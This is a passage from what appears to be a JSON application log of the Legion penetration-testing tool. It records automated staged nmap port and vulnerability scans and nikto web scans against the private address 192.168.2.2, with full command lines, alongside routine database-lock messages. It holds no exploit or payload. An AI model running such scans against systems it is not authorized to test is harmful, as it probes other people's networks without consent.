"2019-02-26 13:06:14,850", "name": "Waiting 0.33s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:06:15,200", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:06:15,206", "name": "Queuing: nmap -T4 -sC -sSU -p T:80,443 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130614838488-nmapstage1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:06:15,258", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:06:15,260", "name": "Waiting 0.65s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:06:15,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:06:15,934", "name": "runCommand called for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:06:15,934", "name": "runCommand connected for stage 1", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:07:36,413", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:36,415", "name": "Waiting 0.81s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:37,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:37,403", "name": "Process 1 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:07:37,475", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:07:37,629", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:37,632", "name": "Waiting 0.05s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:37,726", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:37,732", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:07:37,742", "name": "runStagedNmap called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:07:37,761", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:37,776", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:37,781", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:37,798", "name": "Waiting 0.38s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:38,236", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:38,246", "name": "Queuing: nmap -T4 -sC -n -sSU -O -p T:25,135,137,139,445,1433,3306,5432,U:137,161,162,1434 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130737760118-nmapstage2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:38,312", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:38,315", "name": "Waiting 0.85s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:39,186", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:39,189", "name": "runCommand called for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:39,190", "name": "runCommand connected for stage 2", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:07:39,222", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:07:39,224", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:07:39,236", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:39,239", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:39,242", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:39,244", "name": "Waiting 0.22s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:39,494", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:39,499", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739226281-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:39,543", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:39,546", "name": "Waiting 0.35s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:39,914", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:39,916", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:39,918", "name": "Running tools for: https on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:07:39,933", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:39,936", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:39,938", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:39,943", "name": "Waiting 0.97s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:40,932", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:40,936", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226130739922613-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:40,975", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:40,978", "name": "Waiting 0.25s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:41,271", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:41,273", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:41,276", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:07:41,278", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:07:45,641", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:45,643", "name": "Waiting 0.73s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:46,396", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:46,566", "name": "Process 2 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:07:46,658", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:07:46,842", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:46,845", "name": "Waiting 0.49s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:47,358", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:47,360", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:07:47,365", "name": "runStagedNmap called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:07:47,368", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:07:47,375", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:07:47,381", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:47,395", "name": "Waiting 0.57s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:47,999", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:48,004", "name": "Queuing: nmap -sV --script=./scripts/nmap/vulners.nse -vvvv 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226130747368080-nmapstage3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:07:48,048", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:48,050", "name": "Waiting 0.44s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:48,519", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:48,521", "name": "runCommand called for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:07:48,522", "name": "runCommand connected for stage 3", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:07:48,527", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:07:48,528", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:07:48,534", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:07:49,397", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:49,398", "name": "Waiting 0.15s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:49,564", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:51,250", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:51,252", "name": "Waiting 0.84s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:52,094", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:56,552", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:56,554", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:57,445", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:57,451", "name": "Process 4 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:07:57,456", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:07:57,474", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:07:57,475", "name": "Waiting 0.46s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:07:57,965", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:07:57,967", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:08:02,105", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:08:02,107", "name": "Waiting 0.66s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:08:02,770", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:09:35,726", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:09:35,727", "name": "Waiting 0.72s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:09:36,467", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:09:36,473", "name": "Process 3 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:09:36,479", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:09:36,480", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:09:36,481", "name": "Waiting 0.5s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:09:37,006", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:09:37,008", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:10:56,316", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:56,318", "name": "Waiting 0.58s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:56,924", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:57,060", "name": "Process 5 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:10:57,178", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:10:57,415", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:57,419", "name": "Waiting 0.87s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:58,310", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:58,313", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:10:58,316", "name": "runStagedNmap called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:10:58,320", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:10:58,326", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:10:58,328", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:58,330", "name": "Waiting 0.99s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:59,340", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:59,344", "name": "Queuing: nmap -T4 -sC -n -sSU -p T:23,21,22,110,111,2049,3389,8080,U:500,5060 192.168.2.2 -oA ./tmp/legion-eaie8utr-running/nmap/20190226131058319994-nmapstage4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:10:59,388", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:59,391", "name": "Waiting 0.09s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:10:59,497", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:10:59,499", "name": "runCommand called for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:10:59,500", "name": "runCommand connected for stage 4", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 625}} -{"time": "2019-02-26 13:10:59,505", "name": "Scheduler started!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 771}} -{"time": "2019-02-26 13:10:59,506", "name": "Running tools for: telnet on 192.168.2.2:23", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:10:59,507", "name": "Running tools for: domain on 192.168.2.2:53", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:10:59,516", "name": "Running tools for: http on 192.168.2.2:80", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:10:59,523", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:10:59,525", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:10:59,535", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:10:59,537", "name": "Waiting 0.53s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:00,089", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:00,094", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131059518548-nikto-192.168.2.2-80.txt -p 80 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:11:00,139", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:00,141", "name": "Waiting 0.43s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:00,588", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:00,590", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:11:00,591", "name": "Running tools for: http on 192.168.2.2:443", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 784}} -{"time": "2019-02-26 13:11:00,600", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:11:00,604", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:11:00,605", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:00,606", "name": "Waiting 0.23s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:00,856", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:00,861", "name": "Queuing: nikto -o ./tmp/legion-eaie8utr-running/nikto/20190226131100592831-nikto-192.168.2.2-443.txt -p 443 -h 192.168.2.2 -C all", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 606}} -{"time": "2019-02-26 13:11:00,905", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:00,909", "name": "Waiting 0.76s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:01,688", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:01,690", "name": "runCommand called for stage 0", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 622}} -{"time": "2019-02-26 13:11:01,691", "name": "-----------------------------------------------", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 780}} -{"time": "2019-02-26 13:11:01,692", "name": "Scheduler ended!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 781}} -{"time": "2019-02-26 13:11:01,802", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:01,805", "name": "Waiting 0.9s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:02,708", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:04,379", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:04,380", "name": "Waiting 0.28s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:04,676", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:04,759", "name": "Process 8 is done!", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 738}} -{"time": "2019-02-26 13:11:04,822", "name": "Storing process output into db: ", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 525}} -{"time": "2019-02-26 13:11:04,960", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 279}} -{"time": "2019-02-26 13:11:04,964", "name": "Waiting 0.88s before commit...", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 283}} -{"time": "2019-02-26 13:11:05,869", "name": "DB lock released", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "database", "filename": "database.py", "line": 299}} -{"time": "2019-02-26 13:11:05,872", "name": "Halting process panel update timer as all processes are finished.", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 544}} -{"time": "2019-02-26 13:11:05,875", "name": "runStagedNmap called for stage 5", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "controller", "filename": "controller.py", "line": 666}} -{"time": "2019-02-26 13:11:05,879", "name": "Add process", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 417}} -{"time": "2019-02-26 13:11:05,887", "name": "", "level": "INFO", "data": {"logger_name": "legion"}, "context": {"module": "logic", "filename": "logic.py", "line": 420}} -{"time": "2019-02-26 13:11:05,890", "name": "DB lock aquired", "level": "INFO", "data": {"logger_name": 